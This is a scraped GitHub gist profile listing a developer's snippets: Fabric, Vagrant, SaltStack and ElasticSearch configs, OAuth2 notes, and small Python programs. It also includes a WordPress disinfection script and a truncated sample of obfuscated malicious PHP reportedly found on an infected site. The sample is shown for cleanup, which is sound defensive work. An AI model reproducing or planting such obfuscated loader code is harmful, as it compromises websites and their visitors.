Skip to content

Instantly share code, notes, and snippets.

View ev0rtex's full-sized avatar

David Warkentin ev0rtex

View GitHub Profile
@ev0rtex
ev0rtex / disinfect.php
Last active August 29, 2015 13:58
Infection Repair
<?php
// Store a list of infected files
$infected = array();
$unrepairable = array();
echo "\nScanning for infected files in the current directory...\n\n";
// Scan all infected files in the current directory and strip out the infected line
foreach(new RecursiveIteratorIterator(
@ev0rtex
ev0rtex / infection_encoded.php
Created April 4, 2014 15:14
Malicious code found in infected WP setup
<?php $gyhweuqbjh = 'fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbj%x5c%x7825>j%x5c%x7g!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj41%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"]=1; function fjfgg($n){.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x724]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbssx78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x782x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]2%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR65!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvM4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572obs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>
@ev0rtex
ev0rtex / fabfile.py
Last active August 29, 2015 14:04
Fabric access control
from fabric.api import env, run, sudo, prompt, hide, warn_only, quiet
from fabric.contrib import files
from getpass import getpass
import os
import re
def login(user=None, passwd=None):
uname = user if user is not None else prompt("Remote username: ", default=env.user)
pword = passwd if passwd is not None else getpass("Remote password: ")
@ev0rtex
ev0rtex / vagrant-cd.zsh
Created July 28, 2014 14:32
Change to directory of vagrant-managed VM
function vagrant-cd() {
VMS=()
OLD=$IFS
IFS=$'\r\n'
for line in $(vagrant global-status | egrep "^[a-z0-9]{7}\s" -); do
VMS+=($line)
done
IFS=$OLD
if [[ -z "$1" ]]; then
@ev0rtex
ev0rtex / raet.sls
Created March 11, 2015 19:34
SaltStack
# Get version information
{% set versions = salt['pillar.get']('versions', {
"libsodium": "1.0.2"
}, True) %}
# Fetch libsodium tar and hash
{% do salt['cp.get_url'](
"https://download.libsodium.org/libsodium/releases/libsodium-" ~ versions.libsodium ~ ".tar.gz",
"/tmp/libsodium.tar.gz"
) %}
@ev0rtex
ev0rtex / pillar_elastic.sls
Last active August 29, 2015 14:20
ElasticSearch via Salt
esversions:
1.5.1:
zip: "https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.5.1.zip"
tar: "https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.5.1.tar.gz"
deb: "https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.5.1.deb"
rpm: "https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.5.1.noarch.rpm"
apt: "http://packages.elasticsearch.org/elasticsearch/1.5/debian"
yum: "http://packages.elasticsearch.org/elasticsearch/1.5/centos"
plugins:
elasticsearch/elasticsearch-analysis-icu: 2.5.0
@ev0rtex
ev0rtex / DDM_OAUTH.md
Last active January 21, 2016 16:42
DDM OAuth2 API

DDM OAuth2 API

##OAuth2 Flow

Definitions:

Resource Owner: A User with access to a desired resource Client: Entity (3rd party) desiring access to a resource held by the Resource Owner Authorization Server: OAuth2 API server capable of granting access to resources Resource Server: The server with the desired resource(s) for which access is desired

Keybase proof

I hereby claim:

  • I am ev0rtex on github.
  • I am darkwing (https://keybase.io/darkwing) on keybase.
  • I have a public key whose fingerprint is 7EEB 9106 942E CD46 0C5C 15C0 66BA AD06 E6A9 850A

To claim this, I am signing this object:

@ev0rtex
ev0rtex / water_bodies.py
Created April 27, 2018 07:46
Sorted sizes of bodies of water
#!/usr/bin/env python3
DIAGONAL_WATER = True
def dfs_from(arr, i, j):
size = 0
if i >= 0 and j >= 0 and i < len(arr) and j < len(arr) and arr[i][j] == 0:
arr[i][j] = -1 # Mark visited
size += 1
size += dfs_from(arr, i, j + 1) # right
size += dfs_from(arr, i + 1, j) # down
@ev0rtex
ev0rtex / rpn.py
Created May 6, 2018 21:20
Python RPN calculator implementation
#!/usr/bin/env python3
import sys
import operator
from decimal import Decimal
def main():
ops = {
"+": operator.add,
"-": operator.sub,